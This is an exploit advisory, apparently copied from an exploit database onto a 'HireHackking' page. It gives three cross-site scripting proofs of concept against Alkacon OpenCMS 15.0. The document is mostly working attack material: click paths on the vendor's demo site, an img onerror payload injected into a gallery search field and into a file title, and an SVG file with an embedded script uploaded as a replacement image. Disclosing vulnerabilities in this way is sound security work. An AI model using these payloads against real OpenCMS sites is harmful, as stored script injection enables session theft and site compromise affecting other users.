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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Alkacon OpenCMS 15.0 - Multiple Cross-Site Scripting (XSS)
# Date: 1/07/2023
# Exploit Author: tmrswrr
# Vendor Homepage: http://www.opencms.org
# Software Link: https://github.com/alkacon/opencms-core
# Version: v15.0


POC:

1 ) Login in demo page , go to this url
https://demo.opencms.org/workplace#!explorer/8b72b2fe-180f-11ee-b326-0242ac11002b!!/sites/livedemo!!/.galleries/livedemo/!!
2 ) Click /.galleries/ , after right click any png file  , open gallery, write in search button this payload
<img src=. onerror=alert(document.domain)>
3 ) You will be see alert box

POC:

1 ) Go to this url , right click any png file, rename title section and write your payload :  <img src=. onerror=alert(document.domain)>
https://demo.opencms.org/workplace#!explorer/8b72b2fe-180f-11ee-b326-0242ac11002b!!/sites/livedemo!!/230701/ld_go87op3bfy/.galleries/images/!!
2 ) You will be see alert box , stored xss 

POC:

1 ) Go to this url , right click any png file and choose replace , click change file and choose your svg file
after save it 

svg file:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert("XSS");
  </script>
</svg>

2 ) When click this svg file you will be see alert button